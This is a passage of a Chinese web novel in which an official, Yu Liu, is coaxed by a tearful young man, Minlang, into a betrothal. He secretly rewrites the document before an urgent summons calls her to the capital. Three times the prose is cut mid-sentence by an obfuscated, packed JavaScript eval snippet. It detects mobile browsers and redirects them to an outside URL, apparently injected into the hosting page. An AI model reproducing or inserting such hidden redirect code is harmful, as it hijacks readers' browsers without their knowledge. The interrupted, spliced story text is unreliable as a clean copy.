柳吾善趁热打铁:“那位谢公子也是,估计没有耐心听完敏郎的话,误会了点什么,所以闹成这样子。” “当然了,我也就随便说两句,玉大人不用放在心上。”柳吾善也不要她信,他只要把事情团成一团,准确地丢到玉流身上就行。 他清清嗓子:“就是太守府也不是什么大宅子,好宅子,这次倒了后面的围墙,下次不会就是住人的屋子了吧。” 玉流懂了,终于说了一句:“哦,柳大人在怪我。” “怎么会呢?玉大人,我的意思是,我也年轻过,知道你们这些小辈有主见,就是莽撞了一些,尤其是敏郎这样的,你看看他,年纪小,见得少,还不会说话,一下下,就这么一下下,就……” “唉,”柳吾善摊着手叹气,“他这性子不行,容易吃亏还只会藏起来哭,万一哭坏了脑子,用他那张脸都救不回来喽。” 玉流用舌尖抵着脸颊,决定配合他,道:“那柳大人有什么高见呢?” “我觉得吧,还是得多关心关心,多鼓励鼓励,玉大人说呢?” “有道理。”话都说到这份上了,玉流还有什么不明白的,心说敏郎还真是找了个好人家,如果没和她的那档子事儿,留在这里倒也挺好的。 可惜,没这个如果。 玉流:“那我现在去看看?” 柳吾善:“我也这么觉得。” 说完,退后,抬手指向敏郎住的方位,道:“他住那边,大人沿着路走到尽头就是。” 玉流:“好,我去。” 看着玉流走远,柳吾善含笑点头,甩了甩袖子,深藏功与名。 玉流将人从头看到尾,小狗除了爱闹脾气也没有什么其他坏毛病。 哦,还有一个,容易多想。 果然,敏郎又难过了,眼睫那上面蓄了一小洼的水:“那要是柳大人不说的话,大人就不会过来了,是这个意思吗?” 玉流心里轻啧,才不哭一会儿怎么又要哭了,你以为你是啼泣郎君吗! 玉流指着他:“不准哭。” 敏郎打了个哭嗝。 玉流:“你就这么听柳吾善的话?” 敏郎止住了嗝音,没多想就道:“不、不是,柳大人让我少哭些,不、不然会惹大人不快的。” 倒是对上了,玉流那点疑虑少了,觉得舒坦了许多。遂点点头,放柔了声音,安抚道:“其实,我本就应该过来看看。” “所以大人本来就、就想,”敏郎停下来吸鼻子,“就想过来看我。” 玉流顺着他:“对。” 小狗被哄好了,露了点笑容,走过来小心地扯她衣袖一角:“那大人还生气吗?” 玉流只在他的手指上看了看,没阻止,反问他:“那你还生气吗?” “没有,”敏郎舔着牙,用她的袖子角角卷手指,都快把布料扯变形了,“我没生气,我不生气,我哪有生气。” 声音扭曲成这样了还说不生气,玉流勾勾唇,觉得他嘴硬的样子还挺可爱的,心里那点不舒服也没了。 这么可爱,那她要改主意了。 冷落什么,逗小狗多有趣啊。 “不生气的话,那我来说点别的。”玉流手动想拉回自己的袖子,没成。算了,随他去了。 “谢遥知什么实力我知道,你也没落下风,也就是年纪小,输些经验,”玉流说得慢,语气逐渐加重,“但你不该去惹他。” “我不介意你和其他人说一些似是而非的话,但你该看得出来,谢遥知不一样,他是我朋友,他再疯,都是我朋友。” 虽然今天之后不知道还能不能做朋友。 玉流一口气说完,没由来地怔愣。她突然有一种似曾相识的感觉,不久前上演过的景象似乎又在脑海重现,仿佛敏郎下一刻就能问出“你把他当朋友,他有把你当朋友吗”。 幸好,他只是点点头,并迅速认错:“我知道了,不会再有下次了。” 玉流拂去心底的慌,她知道自己多少是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047888|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢遥知影响到了。可是她不知道,她被眼前这个人影响得更多。 玉流抛开杂念,重话说过了,该给颗甜枣了。她也得关心他,不然柳吾善又得来找她了。 玉流仰头道:“脸怎么样了?” 说着,她踮脚,抬手,虎口卡在他的下巴上:“我看看。” 敏郎身后就是门板,挡着一半的日光,另一半,落在他头顶。 在早晨的柔光中,玉流看清了他那张带着些许错愕的脸。 敏郎完全没有想到她会这样,还在玩衣袖的手指倏然松开,他因为太过惊讶而来不及反应,所以被她得逞。 他一直都很清楚,就算不久前他们才做过最最亲密的事情,玉流对他,始终是一份若即若离的情,这时候,怎么会…… 一瞬的晃神,他就处理好了起伏的心绪,弯下膝盖,头也低下来。于是,两人就这么对上了眼睛。 一双因羞涩而蒙眬,一双在平静中掠起波澜。 这一幕显然不在玉流的意料中。她有点尴尬,而后后悔,后悔自己一时的顺手之举导致的不妙姿势。 她什么时候这么轻浮了?正想着自然一点收回来,敏郎却先伸手盖在了她的手背之上。 这可是她自己送上来的,这么好的机会他不会错过,而且他还要更进一些。 他歪着脸,垂下眼,凑近,主动带着玉流用指腹摩挲下颌。 这是她的惯用手,养得很好的手中,食指指腹的一角有一层薄茧,磋磨过皮肤,引起轻轻的颤栗。 情势变了。 玉流被迫与他脸贴脸,这么近的距离,让她看得一清二楚。 他真的哭过了,鼻头红红的,眼眶也是,眼尾还有点血丝,估计是刚才匆匆擦眼泪的时候弄伤了。 沿着泪痕往下,玉流看见了浮在脸颊上的浅浅伤口。 那张她一直觉得很漂亮的脸上多了不少细小的刀痕,不过都已经仔细地涂上了药粉,应该不久就会好了。 玉流眨眼,他好像不是故意的,眼神都是单纯的,真的只是在给她看伤口而已。 玉流自如了些:“好像还好。”这么小的口子估计都没怎么出血,还不如她在他身上留下的痕迹。 敏郎摇头:“是疼的。” “是吗?”玉流耸肩,她没瞎,她不信。 “好吧,”敏郎改口,“是还好。” 能把伤控成这种程度,他费了不少心力。 谢遥知当时跟疯了没区别,抽出扇子就朝脸杀来,扇面中藏着的刀又尖又长,一不个小心就会被刺伤。 他也知道脸重要,他不会让谢遥知如愿的,但样子是要装的,至少得让她有点心疼。 然后,他才能走下一步。 只是看她现在的表情,不仅没心疼多少,还有点不想看了的意思,手指捏着他脸上的肉示意他放手。 不放! 都走到这一步了怎么可能放手。 他咬唇盯了她一会儿,对她的冷淡关心颇为受伤,闹着情绪小声问:“大人只在乎我的脸吗……是因为,只看得见我的脸吗?” “什么?”玉流被问得满脸愕然。 敏郎抓准了时机,见好就收。他主动松手,脱离玉流的手心,再退离了半步。 他们之间的空隙变宽了。 东升的太阳偏离了角度,原本的光变热了,温度升上来,晃着眼睛,让玉流看不清了。 “我只是想知道……”敏郎伸手虚浮地盖在她的眼上,挡住了刺目的白光,也挡住了他自己,“大人看着我的时候,究竟是在看谁呢?” 30. 求名分 这应当是一句很轻的疑问,被风徐徐送进耳中却如洪钟巨响,悠长的回音把她的心震乱了。 是谁? 还能是谁,除了他,玉流想不到任何人。 就算玉流嘴硬一直否认谢遥知的质问,她也得承认,从第一眼见到敏郎起,她就觉得他们很像。脸庞的走势,眉眼的细节,唇角的弧度,都很像。 但也只局限于像而已。 师兄……玉流闭上眼,被手掌遮住的眼前犹如重叠的黑夜,燥热的晨风将她困在由她和他形成的方寸之地。 玉流听见了自己完全乱掉的心跳。 咚咚咚,咚咚,咚咚咚—— 今日真的乱套了。 敏郎,谢遥知,还有她自己…… 失序的感觉让她没有任何道理地愠怒,睁眼,用力地打掉他的手。 这是谁的手笔不用多说,在她留下他的那一刻起,她就该料到会有这么一天的到来。 但她还是要问,秀气的眉峰拧成锋利的拐点:“谢遥知和你说了什么?” “说……”敏郎摸着自己被玉流拍红的手面,她好像有点生气了,犹疑了一会儿,小声道,“我是替身。” 玉流毫不犹豫地否认:“你不是。”你这动不动就脸红,吓一吓就要哭的性子,哪里当得上宋繁声的替身。 她的师兄,怎么可能是个哭包,那可是她的师兄…… “我不是吗,”他是不是该表现得高兴点,可他还不想,又添了一把柴火,“谢公子还让我不要痴心妄想。” “……嗯。” “嗯?” 这简直就是无意识地答话,敏郎低头,玉流越过了他的肩膀,不知在看什么。 她在心不在焉吗,因为想到他了吗,所以根本没有认真听他说话,所以宁愿去看外面一无是处的花草都不愿意去看身边的他吗? 桃花眼半阖,眼睫如合欢小扇,敏郎将唇线抿得很细。 很难形容他此刻的心情。 有点想生气了。 “大人,是那位吗?” 玉流还在出神:“是……你说什么?” 他真的要生气了:“大人很在意那个人吗?” “……别问。” 敏郎沉默半晌,带着一点不服气:“为什么不能问呢?” “你这是——”玉流在飘远的思绪中,终于听出了他的不对劲。抬头与他对视,好像透过了平静的潭水,看见里面遏抑的旋流,转着转着,她都要被吸入当中。 她刚想止损退后,旋流就逆着水波朝她浮来。 眼泪就这么毫无预兆地落了下来,没有任何的铺陈,连眼睛都没有红过。 玉流愣住,还能这么哭吗? 她真的要信了柳吾善的鬼话了,这可是天赋,哪里是后天能演出来的。 此前被宋繁声带走的心也被敏郎的眼泪召了回来。 仿若豁然顿悟,难道他的伤心是因为替身之言吗? “你,”玉流润湿干裂的唇瓣,艰涩开口,“所以,你是在……患得患失吗?” 闻言,敏郎的脸皱成一团:什么患得患失,我这是吃醋! 他讷讷道:“大人好像没有发现,我现在,是没名没分地站在大人身后。” 他在抱怨吗,听起来是的,还因为说得慢,所以稳,没有再磕巴。也就是说,他平时说话也可以不磕巴的是吗? 玉流觉得脑袋一阵晕乎,皱着眉回击:“我说了,我会负责的。” “可是!可是,”敏郎放平呼吸,让自己的声音不被汹涌的泪意压过,“他们都不知道。” “知道不知道又有什么关系,”玉流不明白,“这是我们之间的事情,还有……” 玉流顿了顿,敏郎的眼泪跟雨水一样。 转眼间,两道无声的泪痕从她眼前无声无息地滑落。 再去看他的眼睛,泪波之下,一片死寂。 玉流骤然止住话语,恍惚间想到了自己。 嘴巴发干,心口作疼。 她好像也这么哭过,就在得知宋繁声坠崖身亡的时候。 被人攥紧心脏的拉扯让她很难受,烦躁地扯了扯衣襟,她不想再看见这样没有情绪的眼泪了:“别哭了,敏郎,别哭了!” 他还在落泪,既然他止不住,那就她来。 帕子帕子,玉流伸手翻,没带吗,算了。 玉流抓起敏郎的手,还没等她往上,他先反手将她握住。 “因为人心,”不容她挣脱,更不容她后退,敏郎补上了那半步,又往前移了一点,几乎与她紧贴。这样的距离,不用张开臂膀,都能将她环在怀中。 眼泪突然就停了。 像是晴天的骤雨间歇,他说:“大人,我只是个常人,我也会有私心的。” 他在慢慢抓紧她的手,在玉流讶然的失魂中不知不觉与她十指相交。 “占有是常态。” “我也会嫉妒。” 太近了,周身全是他的气息。 玉流伸出尚且属于自己的手抵上他的胸口,在余地中喘息:“等、等等……我、我记得你说过,嗯,你说你有心上人,还是城里的。”脑子有点紧,玉流尽量不让自己说蠢话。 “那是大人说的,我从没说过这样的话,”敏郎无声地笑了,夹了夹手指,捏着她的手背,“我只承认了我有心上人。” “什、什么!” 敏郎歪着头,下睫还挂着泪滴,有点委屈地看着她:“大人不记得了吗?” 玉流下意识地咽了咽:“好像……记得。” 她还不至于过了一夜就失忆。 “那你,”不不不,玉流的直觉告诉她不能再问下去了,“那就这样,就这样,你松手,我还有事要办。” “不行。”敏郎更用劲地握紧,先前不放手,此时更不会。 她的慌和恐,都在他的计划之内。 “我的心上人,”敏郎道,“大人想不出是谁吗?” 他在步步紧逼:“我自认为我的演技很差的,装得这么不好,谢公子都看得出来,大人难道一点都没发现吗?” “还是说,大人其实根本没有关心过我,一直在透过我,去看另一个人?” “你……我说了,你不是。”说到这里,玉流再难出声。 这几日密如骤雨的记忆落在身上,一滴接一滴,一滴连一滴,那些被她忽略的碎片合在一起,那些有意无意的明示暗示形成一串。 是谁,显然呼之欲出。 “是……”她该怎么做呢,她应该岔开话题,逃避,离开,但她没有。 宋繁声是一个诱饵,她只要听见看见就会主动上钩的诱饵,在这场单向的引诱中,她已经掉进了敏郎设好的陷阱,并越陷越深。 她成了焦黑的深夜下,站在阱中人,孤立无援,无路可逃。绝望之际被头顶银白的月色牵引,她抬头看他。 敏郎这副模样,和先前简直判若两人,不再是只会听话摇尾的小狗,而是那时中药后将她扑到的狼崽。 好似被宋繁声压制的挫败感卷土重来,可他不是宋繁声。 而明明她才是更强的那个,此刻却脆弱得像是手无寸铁。 她应当还困在师兄的旧梦中,一直没有从那个成真的幻象中清醒。 玉流闭上微疼的眼睛,将手抽出:“这算什么?” 敏郎放下空落落的手掌,微微俯身:“我的坦诚?” 她躲开他的贴近,将侧脸对准落下的光。 浑身的血液倒流,像是死过一回,直到冰凉的脸颊被日光晒暖,玉流才觉得自己活了回来。 她找了他的疑点。 “坦诚?”玉流轻哂,“我先前从未见过你,谈何心上人之说?” “嗯,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062456|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏郎腼腆地笑了笑,说起单方面的情事有些不好意思,“大人没见过我,我见过大人的。我曾随着商队离开过崇州,途经鄞州时与大人有过一面之缘。” 是吗,去年她与鄞州办案好像的确与一个队人马打了个照面。里面有敏郎吗,她想不起来。罢了,就当有他,玉流暂且退一步:“你一眼就看上了我?” “嗯,”敏郎点头,满眼都是她,“大人很耀眼,我从来没见过像大人一样耀眼的人。在隆冬时分,像火光一样。”能把他从深渊里拉出来,他也愿意为她再坠入深渊。 “你还真有……眼光,”玉流第一次觉得自己的脸皮薄,“你为什么不直接说?” “最初,最初的话,是怕吓到大人,今天的话,是不想大人觉得我黏人。” “那现在为什么又说了?” “唔,名分更重要。” 事情怎么就发展成这样了呢,玉流身心俱累,纳着气:“柳吾善,杨淮月他们知道这件事吗?” “我心悦大人吗,应该都看得出来吧,”敏郎想想那三人,补了一句,“哦,卢叔不好说。” 玉流:“……”这要他说! “那慕容鸠呢?” “阁主吗,我们只是纯粹的生意关系。” 玉流点点头,那就好,不然她要直接提剑杀到逍遥阁了。 等等,突然间想到了什么,玉流神色复杂,略带审视的意味:“你——” 敏郎:“嗯,大人还要问什么?” “没有,就这样了。”玉流没有问出来。 其实她还想到了昨天,秦辜幸说的话也很暧昧。但转念一想,敏郎有这个胆子吗,大概是没有的。且不论她是否会动手杀他,他身上的生死契就够他死好几回了。 还有秦辜幸,他那种人,会帮一个没什么背景的小郎君做局吗?不会。 这件事更像是意外之后,秦辜幸的落井下石。 可恶,她迟早要找他算账! 玉流的神情变化都被敏郎看在眼里,看来他们演得还成。有些时候,玉流的太过自信也是件好事。 狭长的眸子眯起,他压下嘴角的上扬,俯瞰的幽冷目光锁定猎物。这是野狼在捕猎,以退为进,步步引诱。 “那我可以接着说了吗?” 玉流按着额角:“你还要说什么?” 小狗的眼尾垂下来:“就是,就是谢公子让我明白一个道理,大人这么好,想来京城那边也有很多爱慕你的公子。” “……你想多了。” “不会啊,我能对大人一见钟情,肯定还会有其他人的,可我,我还没名分,呜呜呜……” “大人带我回京城的话,万一有人问起来,大人,嗯,说我是谁呢,见不得光的床伴吗?”敏郎说着,低头靠上玉流的肩,很淡哭声溢出,低低地啜泣。 又哭了,玉流无言,她有些抵不住他的眼泪了。 这才是真真正正水做的小郎君。 在骂他和打他之间,玉流犹豫了很久,最后选择问他:“那你想怎么样呢?” 他轻轻吸鼻子:“是不是替身没有关系,大人心里有别人也没有关系,我只是,只是不想被人说没名没分。” 玉流听懂了,抬手拍着他的背,很冷静地告诉他:“敏郎,我不会成亲。” “嗯,我知道,那可以有婚约吗,成不成没关系的,至少……能名正言顺。”他一边在她耳边低声哭,一边悄悄玩着她的发尾。 玉流眉心一跳,心也跟着抖了抖:“你不要太过分。” 敏郎:“噢。” 等了一会儿,玉流感觉脖颈有点点湿意:“别哭了,听见没有!” 她推他,推不动,反而被抱得更紧,简直……狗皮膏药,肩颈那块都湿乎乎了! “操!”玉流暗骂一声,“我答应还不行吗,别把你的眼泪鼻涕都往我衣服上抹!” 31. 写婚书 婚书而已,不过是把口头的负责兑现到纸上。 玉流这么告诉自己,一派云淡风轻,只是袖中微微发抖的手指表明她的心并没有看起来的那么不在意。 “差不多得了,别靠着我,太重。”玉流伸手推推他的脸。 “知道了。”敏郎放开被他玩得发卷的发尾,特别乖地站好。糖已经要到了,剩下怎么样都没关系了。 肩膀轻了,玉流抬起胳膊,摸了一把,毫不意外地沾了一手的泪水。 敏郎非常有眼见地递上袖子:“没带帕子。” “哼,”玉流才不往他身上擦,自己甩着手,问道,“你有写婚书的人选吗?” 敏郎:“呃……柳大人?” “就他吧。”反正柳吾善已经知道他们的关系了,他能写最好不过。 玉流:“你去洗把脸,眼睛不红了再来找我。” “嗯,我等会儿就过来。”敏郎眉眼如弯月,站在门边朝着玉流挥手。 等到最后的一片衣角都看不见了,他才转身进屋,打开衣柜,翻开上面堆叠的衣衫,从最下层摸出一个压得极为平整的锦盒…… 玉流在院子里转了半圈,没看见柳吾善,倒是看见杨淮月了。 她问:“夫人,您知道柳大人去哪儿了吗?” 杨淮月端着早食:“刚才说是去后门那边帮老卢了,哎大人,时候正好,吃点垫垫肚子?” 玉流摆手:“您放在东厨吧,我等会儿再来。” 也不等杨淮月多说,径直往后门走去。 没走多少,玉流就看见卢主簿已经找了几个短工,顶着太阳,兜着布巾,指挥他们把坍塌的砖头石块挑出去,自己还顺便承担起清扫的活儿。 忙得那叫一个热火朝天。 而说来帮他的柳吾善则搬着一个小板凳坐在阴凉处,头顶一个大斗笠,怀抱一大茶壶,跟株老蘑菇一样。 这哪里是帮忙,连监工都算不上,就是在偷懒。 “柳大人,有空吗,”玉流走到他身前,投下一片阴影,掀起柳吾善大得离谱的竹帽,也不废话了,“能帮我写份婚书吗?” 柳吾善愣住,接着就是一口茶喷出来:“噗——” 玉流低头,嫌弃地看着那片茶渍,抖了抖,没啥用,看来她这套衣衫应该是彻底废了。 柳吾善瞧着玉流的眼色,掏出块帕子,玉流谢绝:“不用了。” 那他就给自己擦,把下巴擦干,再用一脸震惊的表情抬头看她:“玉大人刚才说,什么、什么书?” 玉流:“你没听错,就是婚书。” 柳吾善放下茶壶,深呼一口气缓了缓,试探道:“允许我斗胆问一下,新娘新郎是?” 玉流:“我和敏郎。” “哐当”,玉流身后,听见这个惊天动地字眼的卢主簿已经半条灵魂出窍,手里的簸箕直接掉到了地上。 卢主簿眼珠子都要吓出来了,抖着声儿:“敏、敏郎?!” 柳吾善的书房难得一次进了这么多人。 杨淮月站在里头觉得有点挤,朝着四周看了看,去推相当碍眼的人:“老卢你出去。” 卢主簿刚刚从杨淮月那里得知玉流和敏郎的关系,尚处在僵硬的忿忿中:“啊,凭什么,我也想看——” 磨墨的柳吾善头都不抬:“去去去,一身汗臭,去盯着那道墙。” 卢主簿闻着胳膊,是有点味儿。 “我走,我走还不行吗,你们这对……哼!”他是个文化人,不说粗口。不情不愿地出去,转头就遇上刚收拾好仪容的敏郎。 卢主簿应该是开窍了,可惜没彻底开窍,怎么看都觉得是玉流强迫的,走之前拉着敏郎的手,欲言又止:“唉,你以后,万事小心。” 敏郎:“……嗯?” 杨淮月不忍直视,捂住自己的脸。这老卢,真就脑子全用在了读书上,一辈子是只能打光棍了。 玉流就当听不见,翘着腿坐在椅子上,撑着下巴在等。看见敏郎过来,朝他招手:“坐我边上。” 敏郎特别听话,玉流说什么,他就做什么。 呦,这登对的一对呦,杨淮月看得两眼放光,手肘戳柳吾善:“看看人家!” 柳吾善不乐意了:“干嘛,我年轻时候还不也是由着你来!” “你还有脸说!” 玉流:“咳咳,两位,我不是来听你们的闺房情事的。” 敏郎配合地点头,一同谴责他们。 柳吾善朝他们眨眼:“别急,我马上就写,我那珍藏多年的绢布呢?淮月,你看见了吗?” “哦,”杨淮月端出一个锦盒,“这儿,给。” 柳吾善打开,瞥向那对主人公。 玉流心不在焉,感觉是在看着他,感觉又不像。 敏郎嘛,眼里只有他的玉大人。 哎呦,受不了了。 柳吾善怎么觉得这一幕怎么刺眼呢,现在的小年轻,就是会玩。 他把两层的绢布拿出来,小心地放在桌案上,用镇纸压好,接过杨淮月递来的狼毫,提笔落下…… “这样的,大人觉得怎么样?” 柳吾善才写到一半,杨淮月就移过来让玉流看。她对这件事很上心,要不是得知只是定个婚约,恨不得今日就亲自上手给他们操办。 “啊,挺好。” 玉流一眼先看到了婚书的料子。 她原以为会是红纸,没想到是浅白的云锦。织法紧实,绣着金丝,隐隐有些泛着冷光的清淡草木纹路。 她对这些没什么研究,只觉得应该挺贵重的,掏了家底出来了。 “这料子,劳烦夫人了。” 杨淮月:“不客气,应该做的,大人看看这内容呢?” 玉流看过去,金丝绢布上,黑色的墨迹半干。 “三世联姻,旧矣潘杨之睦;十缁讲好,惭于曷末之间。宋城之牍岂偶然,渭阳之情益深矣。” 说实话,玉流看到第一句就没有兴致了:“挺好,柳大人字也不错。” “当然,”柳吾善非常受用,追忆往昔,感慨万分,“当年也是得过陛下青眼的。” “你别说了。”杨淮月一把拍下柳吾善快要昂起来的胸膛。 “挺好挺好”,玉流说来说去都是这几个字,杨淮月很敏锐,仔细看她的神情:“大人是不满意吗?” “不是,”她只是……玉流说得很委婉,“那什么,柳大人能写快一点吗?” 杨淮月:“那可不行,这可事关你俩的终身大事。” 倒也不必这么说,只是份婚书,做不做数都不一定。 哎,玉流哀叹,她怎么也不会想到出去送个口信居然会拖这么久,她应该从极乐天出来后就去办的。 敏郎整副身心都挂在玉流身上,自然察觉出她有心事,体贴地问:“大人,嗯,大人是有其他事情要做吗?” 玉流:“算是吧。” 敏郎:“那要不,先走最后一步吧,前面的等柳大人慢慢写。” 玉流抬眸:“你不介意?” 敏郎弯着唇,轻轻摇头,大方道:“没关系的,大人的事情要紧。” 他这么退让,玉流觉得自己真的好渣,不太忍心描摹小郎君藏进眼底的失落,转头看向柳吾善:“那——” “也行,”这两位看起来也不是遵礼数的主儿,柳吾善随意起来,“那大人落个章?” 玉流两手空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078309|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空:“我没带。” “手印呢,”敏郎走来,小声提议,“可以按手印吗?” 他竖起大拇指,很积极地递过来。 玉流:“……就写名字不行吗?” 敏郎努嘴,很怕她不按,坚决道:“不行。” 玉流无法理解他在这些零碎细节上的执着:“我按,你退了一步,我也退一步,行了吗?” 敏郎眯眼笑着点脑袋:“嗯嗯。” 玉流也是服了,这大概是她活到这个岁数以来,遇见过的最难缠的人了。胆子小,脸皮薄,还爱哭,会下跪,这个世道居然还有这样的郎君存在,真是见了鬼了。 她往四周看了看:“印朱在哪儿呢?” 杨淮月闻声而动:“哦,我去拿,在——” 就在这时,才离开没多久的卢主簿扑到门边,急急忙忙地说话:“玉、玉大人,临州的外侯官来了,说有急事找您。” 玉流猛地看向他,难掩语气中的惊讶:“你说谁?” 卢主簿:“外、外侯官?” 这下连柳吾善都惊了,赶紧站起来,和玉流一起走到门边。 旁边的敏郎抿唇,走到杨淮月身后,走到桌案前,看着还未完成的婚书,捏起了薄薄的一角…… 柳吾善扶起大喘气的卢主簿:“你再说一遍。” “外侯官,骑着马,一身黑,有令牌,就、就在后门外头等着呢。”卢主簿摇着手,靠着门柱才勉强站稳。 凶神恶煞的侯官从天而降,把他吓得够呛,天知道他是用了多快的速度跑过来的。 玉流脸沉下,不敢耽搁,从杨淮月手里拿过印朱,拇指按进去碾了碾:“婚书呢?” 敏郎及时把空白的那侧推过来。 玉流没看,问柳吾善:“按这儿对吧。” 柳吾善看了眼:“对。” “行。”玉流果断按下手印,扭头就走。外侯官无诏入崇州,一定是出了大事了。 玉流走得快,柳吾善数着步子给杨淮月使了个眼色,后者立即会意,接过卢主簿:“走了老卢,去东厨里喝口水吧。” “哦……哎?书房没有吗?” “没有,走了!” 不知情的人走了,柳吾善转头看向被丢下的这位:“这样就好了吗,不用写名字吗?” “嗯,这样就好了。”敏郎放平婚书,拿来印朱,抹过朱泥,在还没干透的那处边上,按下自己的。 “至于名字,”他垂眸,将指腹仔细地压过,直到足以留下一个清晰的指痕后,阖眼轻笑,“以后再写吧。” “那好,”柳吾善拍拍敏郎的肩,“我也就先出去了。” 敏郎点头,淡声道:“多谢。” 门被轻轻地带上,暗下的房内,此时此刻,他才有了有名有分的实感。 他知道玉流会看,就是看多看少说不准。 起了这个心思的时候还不知如何移花接木,只能想办法拖延她出门的时间,再走一步看一步。没想到啊,先来了个外侯官。 这个时机很妙,或许老天爷都站在他这一边,也不枉费他这三年来的等待与筹谋。 她急着走,必然不会再细看。 揩去腕骨沾上的墨水,柳吾善写的那版已经被替换掉。 他们的婚书自然要他亲自写。 将婚书平铺在桌上,被藏下的另一侧卷开。在玉流没能看见的这一半里,秀丽的簪花小楷仔细落笔。 名为求娶,实为诉情。 “昔年寒山风雪久驻,卿似细草破光,吾犹见灵璧,渐生白首同梦。至此玉田种碧,折花捻香,非如引凰栖梧桐,池中莲并蒂。” “惟愿低藤攀柏木,扶摇万里高。” 32. 急召回 外侯官的口信只有一句—— “京中有变,速归”。 这是章囚一日前从京城传来的,为能赶上,沿途送信的外侯官前后跑废了三匹马。 玉流半垂的脸看不出什么神色,只问道:“是陛下的意思吗?” “不知,”外侯官谨记前一位的传话,复述道,“只说很急,还说您回程的时候得低调些。” “是么?”玉流眉心轻蹙,她有点琢磨不透这句口信的深意。 不是陛下的诏令,正式的文书都没有,囚哥搞什么,她还有无涯贼首要抓…… 一身黑衣的外侯官恭敬道:“大人,您需即刻启程。” 玉流攥着手指,暗暗生出些不好的预感来:“知道了。” 既然她要亲自回去,查安家的事情那就自己来。至于无涯贼首……再说吧。 卢主簿还算有大局观,外侯官出现的那一刻便散了在后门干活的短工,此时的太守府没什么多余的人在。 玉流领着他走进来。 这还是杨淮月第一次见除了玉流之外的外侯官,眼皮都不带眨的,新奇得很。 夫人这没见识的模样让柳吾善觉得脸臊,同她小声嘀咕:“别看了,你几岁,他几岁?还有你,老卢,腿别抖了!” 说不定等会儿就被记下一笔:崇州太守的主簿是个腿打颤的胆小鬼,夫人是个没见识的蠢妇人。 卢主簿愤怒:“我这是刚才跑得太快!累的,累的!” “听见了,”杨淮月摸着脸就移开了眼,“那个,玉大人,这是出了什么事儿吗?” “算是吧,”玉流转头吩咐,“把带来的东西交给柳大人,以后陛下追究起来,他也不会遭受池鱼之殃。” “是,大人。” 外侯官走向柳吾善,从袖中拿出一道盖了章的字据:“柳大人,收好。” 外侯官的规矩柳吾善还是知道的,他接过,最后的盖章处,落的是章囚的名字。 “有劳有劳。”柳吾善小心放好,趁机多看了这位几眼。 时隔多年再见到地方的外侯官,他不禁感慨万千,一看他就和玉流这种需要抛头露面的外侯官就不一样,普通寻常,不起眼,常年走在人堆里,必要的时候神鬼不知,跳出来能咬你一大口。 外侯官,尤其是地方的外侯官,人不可貌相。 柳吾善这头还在心有戚戚,玉流那头已经看向敏郎:“收好了吗?”她问的是婚书。 敏郎点头:“好了。” “好,”玉流静静地看了他一会儿,不知在想些什么,而后展颜一笑,“你赶紧去收拾东西,我们马上就要走。” “啊?” “啊?” “啊?” “啊?” 四道异口同声的“啊”响起,玉流摘去其中三道,眼尾轻扬:“还站在那儿做什么,不想跟我走吗?” 敏郎:“呃……走哪儿?” “京城。” 这二字出口,敏郎整个人都要离魂了:“啊?” 玉流歪着头,挑起眉梢:“看来是不想,那我自己走。” “不!就是有点快,啊,不不不,我想的。但是他——”敏郎的桃花眼都吓成圆眼了,在呆滞中,慢慢指向一直跟在玉流身边像影子一样的外侯官,“他、他也要跟我们一起吗?” 玉流不太明白他问这句的目的,但还是说了:“不会,他马上就会回临州。” “哦。”不一起就好,不然真的很碍眼。 敏郎转身:“那,我去收拾了?” 玉流:“嗯,我等会儿在马厩那儿等你。” 敏郎:“好,我会尽快。” 他看着走得挺快,出院子时轻落一眼,瞥向她身边的外侯官,眼神微暗。 看来,章囚还算有点脑子。 瞧着人走远,玉流收了那丝笑意,偏头,面无表情道:“知道什么该说,什么不该说吧。” 刚得知一个惊天消息的外侯官快速处理好自己差点乱飞的五官,都不敢去看那个被玉流相中的小郎君,低头:“知道,大人请放心。” 玉流:“然后呢?” 外侯官:“哦,我现在就走。” 真就像影子一样来去无声,柳吾善举着手都说不出一句再会,只能收回来,疑惑地看向玉流:“大人这是要走了?” “嗯,我也回去收拾一下,这几日叨扰了。”玉流不多说,要往自己住的那边走了。 “您客气了,那——”柳吾善眼珠子转了转,叫住她,问:“您之后还来吗?” 玉流脚下停顿:“不好说。” 这一句玉流没说假话,她现在对此事都一知半解,着实有点无力。 她没什么行李,也就几套衣服,再多一个木盒,很快就整理好,站在马厩边等着敏郎来。 敏郎慢了些,因为半途被柳吾善拉住。 “等等,等我们一会儿啊。” 柳吾善扭头和卢主簿小声说了几句,卢主簿严肃点头,小步跑进自己的房里。 